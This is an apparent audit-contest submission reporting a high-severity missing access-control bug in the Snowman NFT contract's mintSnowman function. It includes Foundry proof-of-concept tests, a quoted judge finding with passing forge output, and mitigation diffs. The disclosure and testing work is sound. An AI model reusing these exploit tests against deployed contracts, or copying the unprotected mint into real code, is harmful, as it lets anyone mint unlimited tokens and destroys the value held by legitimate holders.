Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Snowman::mintSnowman` lacks access control: anyone can mint unlimited NFTs for free, bypassing the airdrop

Root + Impact

Description

Description

  • The Snowman NFT is meant to be minted only by the airdrop contract, once a claimant has proven Merkle inclusion, provided a valid signature and burned their SNOW.

  • mintSnowman is external with no access-control check, so anyone can call it directly and mint any number of NFTs to any address, skipping the entire airdrop. That this is an oversight is confirmed by the contract inheriting Ownable without ever using onlyOwner, and declaring the error SM__NotAllowed() which is never thrown.

contract Snowman is ERC721, Ownable {
error SM__NotAllowed(); // declared...
@> function mintSnowman(address receiver, uint256 amount) external { // ...never used, no check
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
}

Risk

Likelihood:

  • Any externally owned account can call `mintSnowman` directly at any time; there is no gate of any kind.

Impact:

  • Anyone mints unlimited Snowman NFTs for free, without SNOW, Merkle inclusion or a signature.

  • The airdrop is rendered meaningless and the collection's scarcity is destroyed; this makes every other finding moot, since the NFT can be minted directly.

Proof of Concept

The test uses an address that holds no SNOW, is absent from the Merkle tree and provides no signature. It calls mintSnowman(attacker, 1000) directly and asserts the attacker receives 1000 NFTs (including token IDs from 0). forge test passes, proving the whole airdrop can be bypassed.

Verified with Foundry (test_cualquieraSeMinteaLosNftsQueQuieraSinPasarPorElAirdrop), forge test passing:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
import {Helper} from "../script/Helper.s.sol";
/// @notice PoC: `Snowman.mintSnowman()` es `external` y NO comprueba quién llama (L36). El
/// contrato hereda `Ownable` y hasta declara el error `SM__NotAllowed()`... que no se usa en
/// ninguna parte. Cualquiera puede acuñarse todos los NFTs que quiera sin tener SNOW, sin
/// estar en el árbol de Merkle y sin ninguna firma: el airdrop entero sobra.
contract MinteoLibreTest is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
MockWETH weth;
Helper deployer;
address cualquiera = makeAddr("cualquiera");
function setUp() public {
deployer = new Helper();
(airdrop, snow, nft, weth) = deployer.run();
}
function test_cualquieraSeMinteaLosNftsQueQuieraSinPasarPorElAirdrop() public {
// no tiene SNOW, no esta en el arbol, no firma nada
assertEq(snow.balanceOf(cualquiera), 0, "no es beneficiario de nada");
assertEq(nft.balanceOf(cualquiera), 0);
vm.prank(cualquiera);
nft.mintSnowman(cualquiera, 1000);
assertEq(nft.balanceOf(cualquiera), 1000, "1000 NFTs gratis");
assertEq(nft.ownerOf(0), cualquiera, "y ademas se lleva los primeros tokenIds");
console2.log("NFTs acunados sin permiso:", nft.balanceOf(cualquiera));
}
/// Peor todavia: puede minteralos A NOMBRE DE OTRO, gastando los tokenIds bajos y
/// ensuciando la coleccion de cualquier direccion sin su consentimiento.
function test_tambienPuedeMintearANombreDeTerceros() public {
address victima = makeAddr("victima");
vm.prank(cualquiera);
nft.mintSnowman(victima, 5);
assertEq(nft.balanceOf(victima), 5, "NFTs no solicitados");
assertEq(nft.getTokenCounter(), 5, "el contador global avanza para todos");
}
/// Y el airdrop legitimo queda devaluado: quien reclama de verdad recibe exactamente lo
/// mismo que quien no ha hecho nada.
function test_elAirdropQuedaSinSentido() public {
vm.prank(cualquiera);
nft.mintSnowman(cualquiera, 50);
assertGt(nft.balanceOf(cualquiera), 0);
assertEq(snow.balanceOf(cualquiera), 0, "sin haber tocado un solo SNOW");
console2.log("supply total tras el minteo libre:", nft.getTokenCounter());
}
}

Recommended Mitigation

Restrict mintSnowman to the airdrop contract, reusing the already-declared SM__NotAllowed() error, and wire that address at deployment:

+ address private s_airdropContract;
+
+ function setAirdropContract(address _airdrop) external onlyOwner {
+ if (_airdrop == address(0)) revert SM__NotAllowed();
+ s_airdropContract = _airdrop;
+ }
function mintSnowman(address receiver, uint256 amount) external {
+ if (msg.sender != s_airdropContract) revert SM__NotAllowed();
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
```
Wire `s_airdropContract` once at deployment (two-step) so not even the owner can repoint it later.
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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